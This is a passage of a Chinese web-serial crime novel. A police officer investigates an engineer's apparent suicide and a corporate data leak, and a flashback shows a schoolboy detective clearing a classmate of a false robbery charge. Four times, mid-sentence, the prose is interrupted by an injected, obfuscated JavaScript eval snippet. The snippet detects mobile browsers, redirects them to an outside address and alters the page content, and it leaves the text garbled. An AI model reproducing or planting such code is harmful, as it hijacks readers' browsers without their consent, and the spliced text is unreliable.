“叶桐生对公司的决定是什么态度?” “我估计他心里可能不太服气,但最后接受了,他的能力领导心里有数,还是希望他留下来继续为公司效力,叶桐生也知道这一点,不然不可能还留在公司。” “他家庭困难吗?辞职对他的影响大不大?” “不太清楚他的家境,不过按互联网行业的工资水平,他工作这几年应该能攒下点钱,他应该还在租房,没结婚没孩子,就算辞职也不至于马上饿死。” “你看到叶桐生那条朋友圈,察觉到他有自杀意图了吗?” 高启辉搓了把脸,疲惫地答道:“25号晚上我在外面和朋友聚餐,10点多回家就睡了,第二天醒来才看见朋友圈,但没太当回事。现代人一到半夜就emo,别说发个对不起了,发什么‘我尸体不舒服’‘我先死了’的都有。后来听说新柳河那边发现了尸体,叶桐生又一直没来上班,昨天公司里有人说死的是叶桐生,我这才反应过来不对,然后你们就来了。” 袁航摸着下巴,总觉得有种说不出的微妙违和感,但又抓不住隐隐约约的线头,他“唔”了一声:“你们公司发现信息泄露之后,为什么没有报警?” “这……” 短暂的沉默之后,何川主动开口答道:“因为投诉量不是特别大,我们判断是技术问题,公司决定先开展内部自查,等找出漏洞后再决定下一步动作。” 一直旁听的丁晟忽然开口冷冷地道:“前天我们接到报案,有一位受害人收到了冒充你们公司软件客服发来的诈骗短信,被盗刷了银/行/卡。” 对面西装革履的精英像被灌了哑药,张了张嘴,却没能发出声音。 高启辉艰难地辩解:“我们也是受害者……” 他抬眼看向袁航,语气带着迟疑的求证意味:“警官,叶桐生那条朋友圈,该不会是……?” 袁航立刻读懂了他的未竟之意:“你认为叶桐生是因为信息泄露这件事自杀的?” “他还能对不起谁?”高启辉嘀咕,“这也太巧了,该不会我们查了半天,最后内鬼自爆了。” “什么意思?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853321|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>高启辉顾忌地往门外瞥了一眼,再三斟酌措辞,给自己做了半天心理建设,终于蓄力一样攒起了决心,慎之又慎地说:“关于信息泄露,我们有一些……很个人的推测,没有证据,也没对外人说过。” “详细说明一下。” “公司的工程师们排查了系统,并没发现黑客侵入的痕迹,那么有没有一种可能,问题出在我们内部,或者就出在……排查人员的身上?” 像是有人往会议室里注入了液氮,空气刹那间冷得令人齿寒,连何川都忍不住猛地扭头看向高启辉,袁航却果断地一抬手,及时制止了漫无边际的发散联想:“这只是一种可能性,目前叶桐生的社会关系还没有完全查明,不能确定他这个‘对不起’指向对象。你的说法我们会再进行查证,如果你们发现了任何新线索,及时和警方联系。” “好的,一定,一定。” 袁航:“我们能检查一下叶桐生的工位吗?另外你刚才提到的沈政宁,还有平时和叶桐生关系比较近的同事,能叫过来跟我们聊聊吗?” 这就是对他们的询问告一段落的意思,高启辉和何川同时松了口长气,肩膀垮下来:“没问题,我带警官们过去,老何,你帮忙叫几个人。” 袁航跟在高启辉身后,冷不丁地问:“高先生对叶桐生很熟悉吗?” 高启辉的后脑勺明显一紧,勉强答道:“还行,他是我分管的人,平时工作交集比较多。” 袁航不置可否,又说:“方便的话,待会儿麻烦高先生提供一下25日的行动轨迹,我们需要查实。” 明明楼里的空调非常充足,甚至到了有点冻人的地步,但豆大的汗珠还是顺着肥厚褶皱的脖颈淌进了衬衣领口,他的眼睛里闪动着恐惧意味:“警官——” “别紧张,只是例行确认。”袁航抽出手套戴上,“这就是叶桐生的办公桌?” 叶桐生的办公桌收拾得很整齐,文件分门别类收好,桌上摆着绿植和开了封的红茶,电脑边缘用便签记下了待办事项,给人的第一印象是个很有条理、生活品质很高的人——至少袁航不会把泡茶和泡咖啡的杯子分开,也不会买那种一看就很昂贵的保温杯。 警察将叶桐生工位的私人物品全部打包带走,又查看了他的工作电脑,趁着检查这段时间,何川迅速找齐他们需要的人证,带到了会议室外。 袁航推门而入,看到第一个坐进会议室接受询问的人,不由得露出了学渣终于看见学霸翻车那种歪嘴坏笑:“哟,你好。” 对面的人从无色镜片下抬眼,他的眼睛形状相当漂亮,不过哪怕是仰头上视,目光也有种居高临下的洞彻意味,让他看上去有点冷情。 不过他还是很配合地接上了袁航的戏:“袁警官好,我一定知无不言言无不尽。” “感谢配合。”袁航摸出手机打开微信,把自己的二维码名片推到他面前,“不过说真的,在这里遇上你,我还真有点期待,‘一中的福尔摩斯’同学。” 5. 旧事 沈政宁利索地扫完码,把手机还给他,露出了被他无语到的表情:“黑历史就不要再提了吧。” 他的头像是朴素的风景照,袁航通过验证,保存联系人,对他的话摇头唏嘘:“你那是黑历史的话,我以前算什么,森林古猿上树?” 沈政宁纠正他:“从猩猩变成人的第一步是先从树上下来。” 袁航:“……” 丁晟在背后“咳咳”地小声替他挽回尊严:“袁哥,我把执法记录仪打开了哦?” “好,说正事。” 袁航坐回会议桌对面,一本正经地问:“沈政宁是吧?你和叶桐生是什么关系?觉得他是个什么样的人?” 沈政宁稍微坐直了身体,规规矩矩地回答:“是,我是研发部工程师,叶桐生是我们信息安全部的同事,我们工作有交集但不多。一星期前他休假出国时,请我帮忙处理过工作上的事情,回国后给我带了伴手礼,就只有这么点交情。” “我不太懂你们具体工作啊,不过你说你们不是一个部门的,那他为什么要找你帮忙?” “他要处理的活不难,就是有点费时间,可能其他人不方便吧。” “不方便?” “他们部门目前干活的只有实习生,大概觉得不顺手?我也问过原因,他答得很含糊,也许只是他觉得我比较好说话,不会被拒绝吧。” 袁航转了下笔,摸着下巴问:“你愿意帮他的忙,说明你觉得他这人还不错?” 这句话不知道哪里戳到了沈政宁,他露出一丝微不可查的笑意:“袁警官是这么觉得的?那就是吧。” 袁航:“……” 顶着他“不要欺负老实人”的谴责目光,沈政宁详细解释道:“叶桐生专业能力强,做事很有条理,工作上一般不甩锅,遇见能帮忙的会帮一把,平时待人客气、有分寸感,人情世故这方面处理得很周到,生活上没听说过有乱七八糟的八卦或者丑闻,就我跟他相处的感觉而言,应该算是好人吧。” 袁航“唔”地点了点头:“你觉得叶桐生最近有什么异常吗?有没有表现过消极情绪、或者想要轻生的念头?” “轻生?” 沈政宁仿佛是把这两个字在齿间轻轻咬了一下、试探它的软硬似的,身体后仰,手肘抵在椅子扶手上,骨节分明修长的十指交叉,是个很典型的思考姿势。 “你想到什么了?” “在想怎么措辞,”沈政宁说,“怕我个人的主观判断影响对事实的叙述。” “我们公司很多人一到熬夜加班的时候就会把‘活着好累啊’‘死了算了’‘不想上班希望世界毁灭’这种话挂在嘴边,但谁能判断哪句是玩笑,哪句是借着玩笑说出的真心话呢?” “仅就我平时观察的部分而言,我没有看出叶桐生有自杀的倾向,但事发前的那条朋友圈,显然给另一种可能性加上了分量很重的砝码。” 袁航默默地记着笔记,注意到了沈政宁隐晦到几乎变成了长难句的措辞,知道他在极力克制自己不要掺杂太多主观推断干扰警方做笔录,因此并没再继续追问下去,而是换了个问题:“你知道你们公司开发的软件发生了信息泄露的事吗?” “知道。”沈政宁答道,“公司召集部分员工开会研究过,主要负责人是高总和信息安全团队,后续我没有参与,听说没有查出结果,最后不了了之。公司领导因为这件事对信安部意见很大,已经有两个人主动离职了,这也是为什么前几天叶桐生有事却找不到人。” “公司其他同事怎么评价这件事?”袁航问,“有没有风言风语什么的?” “就算有,也是说叶桐生跟领导关系好,所以团队出了这么大的漏子他还能站稳脚跟……应该不会是因为这种话轻生吧?毕竟在职场里,这种程度的传言基本算是一种……呃,变相的肯定?” “9月25日中秋节,你和叶桐生有联系吗?” “没有。”沈政宁很确定地摇了摇头,“我们平时有事都在公司谈,私下里基本不聊天。我是第二天上班后听见其他同事闲聊才看到的朋友圈,听说他没来上班,想过是不是出了什么事,但没有贸然联系他,直到昨天消息传出来,我才知道他竟然去世了。” 他低头深吸了一口气,毕竟是个熟悉的、活生生的人离去,带给人心理上的冲击远超想象。沈政宁年少时曾自负于洞察力,甚至被人叫过“福尔摩斯”这样不知天高地厚的绰号,可是当离开环境单纯的象牙塔之后,他逐渐意识到自己小聪明其实不值一提,现实远比小说残酷,看清真相之后依旧改变不了什么,就像胳膊拧不过大腿。 “好,暂时没有其他问题了,感谢你的配合,去叫下一个进来吧。”袁航点了点自己倒扣在桌面上的手机,示意有事微信联系。沈政宁接到了他的眼神,起身朝房间内众人点头致意,转身推门出去。 案件询问持续了整整一上午,相关人员的证言大同小异,都说叶桐生是个低调谦逊有能力的优秀青年,那条“对不起”的朋友圈威力巨大,以至于每个提起他的人都用一种惋惜的口吻感叹:你说这好好的人,怎么就自杀了呢? 袁航收起笔记本,劝返了要把他们一路送到楼下的高启辉等人,开车回局里继续梳理案情。 连续不断的问话让他脑子有点转累了,瘫在副驾上双目放空,丁晟开车上路桥,随口闲聊:“袁哥,那个沈政宁是你说的熟人?你俩怎么连微信都没有?” “是我高中同学,毕业后就失联了,我倒是有他的企鹅账号,但现在也没人用了。” “这么一算十年没见了,”丁晟说,“但是看你俩的样子,怎么说呢,给人感觉又好像挺熟的。” 袁航短促地笑了一声,这个评价恰好搔到了他深藏的痒处,勾起了一些不算有趣、但很有戏剧性的回忆:“其实我俩高中时候也不算特别熟,沈政宁是老师最喜欢的那种好学生,我是不学无术的学渣混混,但他那个人吧……怎么说呢,真的很神奇……” 数年前。 宁静的秋日清晨,教学楼某间办公室里突然传来一声石破天惊的怒吼:“我&*……%¥#,你他妈有种再说一遍?!” “袁航!”班主任李云青一把将疯狗脱缰的袁航扯回来,厉声喝止他,“有话好好说,嘴巴给我放干净点!” 少年袁航正在抽条期,瘦得在衣服里晃荡,脸晒得很黑,瞳孔也是黑黝黝的,被班主任推到身后仍不服气,目眦欲裂地瞪着面前的一对父子,像一条愤怒呲牙的黑狗:“赵景泽,你给我等着,这事他妈没完了!” 男家长也不客气地提高嗓门:“李老师,不是我说,你看看你们这学生,满口脏话,不服管教!他在放学路上堵我们家赵景泽,抢了他的补课费,这行为是什么性质?这是抢劫!是校园霸凌!我没直接报警已经够给他面子了,他这是什么态度?当着我的面威胁恐吓我们家孩子?” 办公室其他老师默不作声地关注着事态发展,教导主任沉着脸站在班主任旁边,俨然形成三堂会审的局面:“袁航同学,你觉得他们说得有问题,可以自己证明你没做过,学校给你解释的机会,我们的目的是解决问题,不要光顾着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853322|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愤怒上头,你这样有理也变成没理了。” 李云青挡在袁航身前,面向家长,尽量温和地安抚:“赵先生您别急,我理解您的心情,您心疼孩子,我们当老师的也不能让任何一个学生受委屈。两个孩子都在,咱们来捋一捋事情经过——景泽说上周一放学后,袁航把他堵在学校附近星海小区楼下的巷子里,抢走了他的补课费,一共是五百块钱,是吗?为什么当时不跟家里或者老师说呢?” 赵景泽对上袁航泛红的眼睛,迅速闪开,哑着嗓子低声答道:“我答应他不说出去……” 男家长在旁边补充:“他怕被报复,不敢跟家里说,也不敢去补习班,是他们补习班老师打电话给我,说孩子没去上课,我们问了半天,他才肯说实话。” 李云青:“袁航,他说的这件事跟你有没有关系?周一放学后你在哪儿?” 袁航不答,却直勾勾地盯着赵景泽:“上周一放学后,星海小区楼下?” 赵景泽说:“对。我看见你了。” 两边突然陷入了莫名的无声对峙,李云青心下觉得有点古怪,男家长却不耐烦道:“你就说是不是你干的,是不是你抢了赵景泽的钱?” 袁航突兀地闭上了嘴,尽管他整个人都在细细地颤抖着,仿佛有一股巨力在他身体内横冲直撞,却仍旧咬紧了牙关,不发一言。 他此刻的沉默无异于无言的承认,李云青有点急了:“袁航,说话,是不是你?” 男家长的耐心彻底告罄,抱臂冷冷一哂:“得了,我看老师您也甭问了,这就是做贼心虚。我听赵景泽说过你们班这个袁航,我不管他是家庭贫困还是怎么着,人穷志不能短,现在不吃教训长大了他就要危害社会!学校必须给他吃处分,让他从这个班调走,留着这种学生就是对其他同学的威胁!我就不信别的家长知道这事能不上学校来闹?” 教导主任见多了这种大放厥词的家长,口风一丝不漏:“赵先生,请您冷静,如果事情属实,学校绝不姑息,会根据规定严肃处理。” “袁航,”李云青回身抓住他手腕,强迫他转过身来面对自己,“你拿了赵景泽的钱吗?这里面有没有什么误会?还是你有什么苦衷?你跟老师说实话!” “有什么误会?我们家赵景泽平白无故还能撒谎诬陷他吗?”男家长不满意地质问,“李老师,他自己都默认了,你还要替他找点借口吗?哦,就因为他惨,他家里穷,他就可以为非作歹、欺负其他同学了?” 袁航两腮肌肉绷得死紧,满眼都是红血丝,仇恨地盯着父子二人,李云青求助地看了一眼教导主任,慎重地解释:“赵先生,我是他们的老师,不会偏袒谁,但这不是小事,关系到孩子的将来,我必须得问清楚了。假设今天有人指认赵景泽抢钱,咱们也不能在他一声不吭的情况下就断定一定是他干的,您说是不是这个道理?” 男家长嗤道:“什么意思,他今天要是死不开口这事就算躲过去了是吗?怎么的,我们家孩子就活该受委屈吗?” 李云青头疼道:“您别误会,我不是……” “报告。” “笃笃”的敲门声是如此凑巧又不合时宜,所有人一齐朝门口望过去,怀抱一沓试卷的沈政宁迎着无数目光坦然地走进办公室:“李老师,我来送作业。” “啊,好,你先放那儿吧。”李云青哪还有心情关心作业,随手一指办公桌。 沈政宁视线飞速扫过对峙双方,把试卷放在李云青办公桌上,没事人一样原路返回,路过赵景泽身边时,他忽然冷不丁开口问:“乐园网吧?” 6. 破局 赵景泽霍然抬头,简直是字面意义上的被吓了一跳:“什么?” 在家长和老师面前,“网吧”是个绝对禁忌的词汇,沈政宁不亚于从兜里掏出了一颗核//弹,一时间,所有人的注意力都不由自主地被他接下来的话吸走了。 “不好意思。”沈政宁不紧不慢地陈述,“刚才收数学作业时你没在座位,你同桌帮忙找了一下,笔袋里有一张充值卡,我不小心看到了,那是乐园网吧的充值卡吗?” 李云青声调都变了:“沈政宁,你确定没看错?” 赵景泽抢在他回答之前低声断喝:“那是我朋友的!我替他保管而已!你别乱说!” 他的反应堪称声色俱厉,沈政宁却淡定地点了下头:“可以理解。方便问一下,你家住在吉祥苑对吗?” 赵景泽半张着嘴没出声,男家长狐疑地盯着他:“是,我家在吉祥苑。你什么意思?替这小混子打抱不平?你想说是我们家孩子诬陷他?” “不能把学生分成三六九等、区别对待”——这是教育工作者的基本职业素养,然而在现实中,人往往很难避免先入为主的印象,就像是一向规矩的赵景泽比不服管教的刺头学渣袁航更容易得到信任一样,在教导主任那里挂了名的“尖子生”沈政宁的说服力也可以压赵景泽一头。 沈政宁唇角微微弯起,那是个习惯性的礼貌笑容,眼里却没有一丁点笑意,专注神情压倒了眉眼中天然的隽秀,使他有了几乎超越年龄的锐利感。 他的视线投向教学楼窗外,从这个角度刚好可以看见学校的正门:“星海小区在学校东面,吉祥苑在学校北面,你放学回家,直接出门右转就行了,为什么会路过星海小区呢?” 赵景泽:“……” 沈政宁提示道:“出校门直走大约400米,路口左转就是乐园网吧,在星海小区对面。” 教导主任虚咳一声,补充说明:“赵先生,他说的没错,那条路上确实有这么个网吧。” 男家长开始有点慌了:“赵景泽,他说的是怎么回事?你是不是去网吧了?!” “我没去过,我不知道你说的什么网吧。”赵景泽梗着脖子强辩,“我那天是去买教辅书的,平时不走那条路。” 他成功地让沈政宁嘴角上抬一度,赵景泽说得越多,他的姿态便越显得游刃有余。那双明亮慑人的眼睛低垂下去,所有人随着他的视线看向赵景泽的运动鞋:“真不巧,我平时都走那条路。所以我刚好知道那家网吧门前正在翻修。你的鞋帮上沾了水泥,已经干掉了,不过痕迹还很新,没有磨损,大概是昨天晚上不小心踩到的?” 赵景泽下意识抬起右脚,白色的板鞋边缘糊了一圈灰色,另一只鞋则是鞋尖部分有一小块干掉的水泥。 他惊慌失措地往后退了一步,可是办公室里并没有地方给他藏,反而是这个反应令所有人不约而同地沉默。 “……” 李云青转向男家长,委婉地征询:“赵先生,沈政宁提出的这个问题,嗯,确实值得注意,这件事可能不像是孩子说的那样,你看咱们是不是?” 李云青当了这么多年教师,太知道学生沉迷网瘾是什么样了,她这算是给家长递了个台阶,意思是让他先回去问清楚自家孩子到底是怎么回事,免得事情闹大不好收场。 平心而论她没有恶意,甚至称得上考虑周全,但成年人的傲慢就在于喜欢用名为“体面”的油漆粉刷一切龃龉,而对其下的裂隙视而不见。 “不是,你有病吧?你到底想干嘛啊!”还没等家长表态,成年人态度的微妙变化先压垮了高中生赵景泽的心理防线,他指着沈政宁鼻子崩溃吼道,“到底关你什么事?袁航都没说话,你他妈在这瞎掺和什么?!” 沈政宁无辜抬眼,给了李云青一个“你看他骂我了”的眼神。 李老师心神一凛,直觉接下来没什么好事,但她反应慢了一步,沈政宁已经登上了别人看不见的道德高地,居高临下落下了最后一锤:“没有别的意思,我只是觉得你还挺幸运的,换成别人,今天这台漏洞百出的戏估计一开始就唱不下去吧。” 周景泽反应了几秒才明白他的潜台词,冷汗唰地一下就下来了。 “你说上周一放学后,袁航把你堵在星海小区楼下的小巷子里,抢走了你的补课费。你的补习班是在周末上课吧?既然是家长给钱让你自己交补课费,那这笔钱早该在周末就交上去了,为什么周一你的身上还带着它呢?” 在一段过长的沉默后,周景泽气短地嗫嚅:“我忘了……” 啪! 一记响亮的耳光在赵景泽脸上炸响,男家长的怒吼声响彻办公室:“编,你接着给我编!你每天磨磨蹭蹭不回家,说是在学校跟同学打篮球,结果拿着补课费去网吧!我和你妈辛辛苦苦挣钱供你念书,你他妈就学会怎么撒谎骗人了?!” “赵先生!” 教导主任赶紧抢上前拉住男家长:“别激动别激动,有话好好说,别动手。要不然您先把孩子领回去,问清楚起因经过,是吧?去网吧这个事到底属不属实,如果是真的,那平白无故诬陷人家袁航同学抢钱,对人家造成了多大伤害……” 男家长一脚踹在赵景泽小腿上:“滚去班里把你书包拿过来,带着那张卡!我今天非得弄明白你把钱花哪儿了!”他朝袁航飞快地点了下头,含糊地说,“今天不好意思了,等我收拾完他,让他给你道歉。” 受了天大委屈的当事人反倒成了存在感最低的透明人,袁航依旧一言不发,低头靠着办公桌。李云青看着他突兀支棱的肩胛骨,心里有些歉疚,又忍不住带点埋怨:“你说你,被冤枉了怎么不说话?” 正要走出办公室的周景泽倏然回头,张开了嘴,然而沈政宁反应极快地抢在他面前开口:“是猫还是狗?” 李云青:“啊?” 沈政宁伸手从袁航校服外套袖子上拈起一根大约三厘米长的白毛,在他眼皮底下晃了晃:“你是在学校外偷偷喂流浪猫狗吗?” 袁航终于抬起通红的眼睛,沙哑地问:“你怎么知道?” “你每天早饭不是没有蛋黄的蛋白,就是没有馅的包子皮,这种事很容易注意到的。”沈政宁一口气吹飞那根毛毛,随口说,“你要是真的抢了谁的钱,不至于连个包子都舍不得给自己买吧。” 沈政宁四两拨千斤的功力十分了得,成功地模糊重点、转移话题,三言两语洗白了乌漆嘛黑的袁航,李云青和教导主任的眼里顿时泛起慈祥的水光。 此时周景泽已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853323|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经被他爸带出去老远,沈政宁仿佛武侠小说里从天而降的绝世高人,从容地事了拂衣去:“老师,我先回班了。” “牛X啊,”丁晟手扶方向盘,喃喃感叹,“我也想这么有种地活一次……” 袁航笑而不语,丁晟犹自感慨:“学习又好,长得又帅,还这么有正义感,你们学校得多少人喜欢他?我高中要是有他一半牛X,现在孩子都上小学了。哎,嫂子跟你是不是也是高中同学?” 袁航摸着下巴没剃干净的胡茬,嘿嘿地笑起来:“对啊,我老婆高中学习成绩可好了,年纪排名比沈政宁还高呢。” 丁晟听出他话里有话,狐疑地一眯眼:“什么情况?” 夕阳在天际热烈地燃烧,这格外漫长的一天终于走到落幕之际。袁航站在校外路边的梧桐树下,看着沈政宁双手插兜,目不斜视地从自己面前走过,终于忍不住出声:“沈政宁。” “什么事?” “你今天为什么会去老师办公室?” “为了送作业。” “为什么要帮我?” “轮到你审我了?” “我不是那个意思,我是想问……你怎么知道周景泽在威胁我?” 沈政宁不用那种手术刀一样锐利的眼神看人的时候,面相其实相当清俊温柔,是很容易让人放下心防的帅哥。他没什么所谓地勾勾手,示意袁航跟上,很无聊地说:“他撒的谎不怎么高明,如果不是你干的,当场对质就能拆穿,但你会被那种话唬住,最大的可能是被他捏住了某种把柄。况且你们喊得跟唱山歌一样,实在很难装听不到。关键词是‘周一放学后’、‘星海小区’,跟女朋友约会被撞见了吧?” 袁航面颊发烫,感觉自己好像个复读机:“你怎么知道是……” “知道你女朋友是三班的岳如雪?”沈政宁用看傻子的眼神睨了他一眼:“只是你自己觉得瞒得很好而已。”他指指袁航的衣袖:“多的我都不想说,你是寸头,手腕上还戴着女生的发绳,真不想被别人发现,最好收起来。” “她家里管的特别严,”袁航像被霜打的小白菜,不管对方想不想听,垂头丧气地低声倾诉,“如果被学校发现,肯定会大闹一场,所以赵景泽暗示我他不会说出来的时候,我就想,要不然我认了算了……” 沈政宁语气难得严肃:“谈恋爱的事我不评价,但你这种忍气吞声的行为我完全不赞同。被威胁就应该及时报警,谁知道忍过这次还有没有下次?如果你有一把好用的伞,你会只用一次就收起来吗?” 袁航刺刺的板寸仿佛都耷拉了下去,但面对着他的救命恩人,还是保持了良好的认错态度:“我知道,我就是……” 他就是孑然一身、笨嘴拙舌,被人拿捏住软肋也想不到更好的办法,只好把所有要害都亮出来任人踢打,为了保护最珍惜的东西甚至毫不反抗。 “不过这种咬着牙也要保护住什么的决心,虽然很笨,完全不值得提倡、也不值得效仿,但我还是很敬佩。” 袁航倏然抬头,沈政宁完全不在意自己在别人的精神世界砸出了多大的水花,旁若无人地越过他,径直向前方走去。 “你刚才不是问我为什么要帮你吗?” “这就是我的答案。” 7.聚会 深绿河面上闪烁着细碎的金鳞,两岸树木不复盛夏时的青葱蓊郁,被涂抹成浓淡深浅不一的斑斓秋色,一眼望去,犹如置身巨幅油画之中。 沈政宁踩着软绵绵的落叶,穿过丛生的树木和杂草,驻足在那节非常破坏美感的排水管前。 岸边空旷无人,只有一块新漆的“禁止垂钓”的牌子立在水边醒目处,不过最近发生了那种事,短时间大概也不会有人那么想不开,非要来这种僻静地方钓鱼。 他无言地望着奔流不息的河水,风景寂静而优美,他的心情却奇异地复杂。他和叶桐生的交情称不上深厚,对沈政宁而言,死亡也不是第一次经历的离别,按理说他不应该产生这种“无法释怀”的滞涩感觉才对。 上次询问之后,袁航没有主动联系他,也没有再传唤公司其他人,几天前传来警方结案的消息,叶桐生的死亡定性为自杀,家属领回了遗体,告别仪式定在下周三,十月十日。 沈政宁直觉的反常不可能硬得过警方掌握的证据,况且从事发到结案,用时不超过十五天,其中还包括七天的假期,这个结果的背后是很多人放弃了本该有的闲暇时光,替亡故者扫清了身后的尘与灰。 说到底,他对叶桐生也称不上有多了解,毕竟在这个流动变化成为常态的时代,一个人能对普通同事展现多少真实呢? 放下吧,他在心里轻巧地自嘲,你该不会真以为自己是福尔摩斯吧? 耳边忽然传来闷闷的踏地声,伴着落叶破碎的细密脆响,紧接着一大团雪白的毛茸茸猛地从树林里蹿了出来,沈政宁猝然回眸,恰好与它深黑明亮的眼睛对了个正着。 一瞬间万籁俱寂,仿佛有天使从头顶掠过,洒下无数飞花与彩带,继而“you’re my destiny”的BGM轰然响起,周遭背景黯淡模糊下去,万千灯光汇聚成一束明亮的追光,忠诚地映照出它矫健奔跑的身姿。 是、是萨摩耶啊…… 在意识到之前身体已不听使唤地蹲下了,沈政宁甚至没有开口,只是眼神里透露出渴望的神情,对面的白色大型犬就歪了下头,带着普度众生的闪耀微笑,高高兴兴地一溜烟小跑过来,嗅了嗅他的手,随后热情地把自己的脑袋送到了他手掌底下。 沈政宁:呜呜,是天使啊。 他的手指陷进柔软丰厚的雪白被毛里,在泡泡般轻盈的幸福梦幻里,晕晕乎乎地摸了三分钟的狗,感觉灵魂都熨帖地舒展开来,可以原谅世上一切苦痛,才终于分出一点心神注意到旁边的黑色皮鞋。 顺着裁剪修身的黑色长裤扫上去,紧接着是自然垂坠的黑色风衣衣摆、黑色袖口和口袋之间一小截苍白的手腕、黑色领带、以及扣到最顶端,没有一丝褶皱的雪白衬衣。 男人原本不动声色地垂眸注视着他,沈政宁一抬头,他又冷淡地移开了视线。 我是误入了某个电视剧拍摄场地吗? 这是沈政宁心里升起的第一个念头。 这人身形比一般男性薄得多,但比例逆天,而且该宽的宽、该窄的窄,是个完美的人形衣架子。半长微鬈的发型打理起来恐怕相当麻烦,普通人很难驾驭,一缕碎发却自然地被风吹落眼前,掠过冷白侧脸,搭在高挺陡直的鼻梁上,点缀出恰到好处的忧郁,再配上这套全黑造型,完全可以直接拉去走红毯。 都说时尚的完成度看脸,而他的脸甚至击败了沈政宁见过的99%的人类。 萨摩耶“哈哧哈哧”地求抚摸,沈政宁却不好意思再装没看见,讪讪地收回手站起身,对狗狗主人语气僵硬不失尴尬地称赞:“很可爱。” 黑衣男人没答话,只是回以微不可查的点头,没入口袋里的手拽了下牵引绳,雪白的萨摩耶立刻抛弃沈政宁,跑回他腿边快乐地绕起了圈子。 没有人跳出来喊“卡”,周围也没有一群扛着摄像机的壮硕男人,看来对方只是普通路过遛狗的市民,不过养萨摩耶的人一般会穿一整身黑吗? 沈政宁正在心里暗自琢磨,顺手摸出手机想看一眼时间,结果刚掏出来,手机忽然“嗡”地震动起来,他条件反射地一抖,手机当场弹射出半米多高,他手忙脚乱地接住了电子跳跳糖:“袁航?” “老同学,在盛安吗?”袁航在电话那头笑道,“今天晚上有空不,请你吃个饭。” 沈政宁恋恋不舍地回头看了一眼萨摩耶,一边接电话,一边转身往另一个方向走,在他身后,秋风把一声极低的、幻觉般的轻笑吹向了波光浩渺的河面。 沈政宁用脚后跟想也知道他在笑什么,离开的背影无端有种落荒而逃的味道。 “我哪好意思在袁警官面前说自己忙,也太不懂事了。”沈政宁也不问袁航这突如其来的邀约是怎么回事,爽快答应,“晚上没事,时间地点你定,我请客。” 袁航咂了下嘴,仿佛被他的调侃酸倒了牙,可语气里的笑意反而更明显:“我们有规定,不让接受宴请,你别整那些没有用的,地方我发给你,你收拾收拾准备出发吧。” 国庆长假的最后一天,晚六点,天还没彻底黑下去,大排档已经热闹起来。空气里弥漫着炭火的白烟和呛人热辣的香气,服务员端着烤串和小龙虾堆成的小山穿梭在桌台间。沈政宁撩开塑料帘子,迅速锁定了对他招手的袁航。他侧身穿过走道,在他对面拉开椅子坐下:“来的这么早?你就住在附近吗?” “今天好不容易轮班休息,没什么事就先过来了。”袁航把菜单推给他,“开车来的?能喝酒吗?” 沈政宁低头挑菜:“没开车,喝啤酒吧,别太多,明天还得上班。” 袁航抬手,服务员走过来核对点单,熟络地跟他打招呼:“袁哥今天带朋友来啊,啤酒要冰镇还是常温的?” 袁航询问地一抬眼,沈政宁说:“冰镇的。看来你是这里的常客。” “离单位近,而且他们家前面是区政府,后面是食药监局,”袁航朝他露出一个“懂的都懂”的笑容,“吃着放心。” 店里没有外面的露天座位凉爽,稍微有点闷,沈政宁脱了外套,随手搭在旁边的椅子上,袁航微不可查地一顿,沈政宁下意识循着他的视线低头看了一眼:“衣服怎么了?” 两人的打扮都很符合大排档的dress code,宽松的外套和运动裤,内搭是洗得半旧、溅上油点子也不心疼的半袖——如果问题不是出在穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862313|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭上,那就是衣服本身让袁航想起了什么。 “你还是老样子啊。”袁航提壶给他倒上热茶,半是揶揄半是感叹,“这么敏锐,脑子又活泛,当初怎么不干警察?” “家里不让。”沈政宁喝了口茶,坦然答道,“我以前好像没跟你说过,我爸就是警察,因公殉职了,所以家里人希望我学个技术性的专业,找份比较安全的工作。” 袁航理解地点头:“都是独生子女,虽说现在比以前安全多了,跟其他职业相比还是危险。互联网挺好,就业容易,挣得也多。” 